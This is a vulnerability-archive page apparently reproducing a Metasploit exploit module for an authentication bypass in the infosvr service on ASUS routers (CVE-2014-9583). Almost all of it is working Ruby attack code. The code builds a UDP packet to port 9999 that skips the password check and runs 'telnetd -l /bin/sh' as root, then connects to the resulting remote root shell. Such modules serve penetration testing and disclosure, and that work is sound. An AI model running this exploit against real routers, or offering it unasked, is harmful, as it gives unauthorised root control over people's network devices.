ASUS infosvr Authentication Bypass Command Execution

2018.04.22
Credit: jduck
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'ASUS infosvr Auth Bypass Command Execution', 'Description' => %q{ This module exploits an authentication bypass vulnerability in the infosvr service running on UDP port 9999 on various ASUS routers to execute arbitrary commands as root. This module launches the BusyBox Telnet daemon on the port specified in the TelnetPort option to gain an interactive remote shell. This module was tested successfully on an ASUS RT-N12E with firmware version 2.0.0.35. Numerous ASUS models are reportedly affected, but untested. }, 'Author' => [ 'Friedrich Postelstorfer', # Initial public disclosure and Python exploit 'jduck', # Independent discovery and C exploit 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'unix', 'References' => [ ['CVE', '2014-9583'], ['EDB', '35688'], ['URL', 'https://github.com/jduck/asus-cmd'] ], 'DisclosureDate' => 'Jan 4 2015', 'Privileged' => true, 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0)) register_options [ Opt::RPORT(9999), OptInt.new('TelnetPort', [true, 'The port for Telnetd to bind', 4444]), OptInt.new('TelnetTimeout', [true, 'The number of seconds to wait for connection to telnet', 10]), OptInt.new('TelnetBannerTimeout', [true, 'The number of seconds to wait for the telnet banner', 25]) ] register_advanced_options [ # If the session is killed (CTRL+C) rather than exiting cleanly, # the telnet port remains open, but is unresponsive, and prevents # re-exploitation until the device is rebooted. OptString.new('CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'exit']) ] end def telnet_timeout (datastore['TelnetTimeout'] || 10) end def telnet_port datastore['TelnetPort'] end def request(cmd) pkt = '' # ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO pkt << "\x0C" # PacketType [byte] ; NET_PACKET_TYPE_CMD pkt << "\x15" # OpCode [word] ; NET_CMD_ID_MANU_CMD pkt << "\x33\x00" # Info [dword] ; Comment: "Or Transaction ID" pkt << Rex::Text.rand_text_alphanumeric(4) # MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp pkt << Rex::Text.rand_text_alphanumeric(6) # Password [byte[32]] ; Not checked at all pkt << "\x00" * 32 # Command Length + \x00 + Command padded to 512 bytes pkt << ([cmd.length].pack('C') + "\x00" + cmd).ljust((512 - pkt.length), "\x00") end def exploit connect_udp print_status "#{rhost} - Starting telnetd on port #{telnet_port}..." udp_sock.put request "telnetd -l /bin/sh -p #{telnet_port}" disconnect_udp vprint_status "#{rhost} - Waiting for telnet service to start on port #{telnet_port}..." Rex.sleep 3 vprint_status "#{rhost} - Connecting to #{rhost}:#{telnet_port}..." sock = Rex::Socket.create_tcp 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => { 'Msf' => framework, 'MsfExploit' => self }, 'Timeout' => telnet_timeout if sock.nil? fail_with Failure::Unreachable, "Telnet service unreachable on port #{telnet_port}" end vprint_status "#{rhost} - Trying to establish a telnet session..." prompt = negotiate_telnet sock if prompt.nil? sock.close fail_with Failure::Unknown, 'Unable to establish a telnet session' end print_good "#{rhost} - Telnet session successfully established..." handler sock end def negotiate_telnet(sock) prompt = '#' Timeout.timeout(datastore['TelnetBannerTimeout']) do while true data = sock.get_once(-1, telnet_timeout) if !data or data.length == 0 return nil elsif data.include? prompt return true end end end rescue ::Timeout::Error return nil end end


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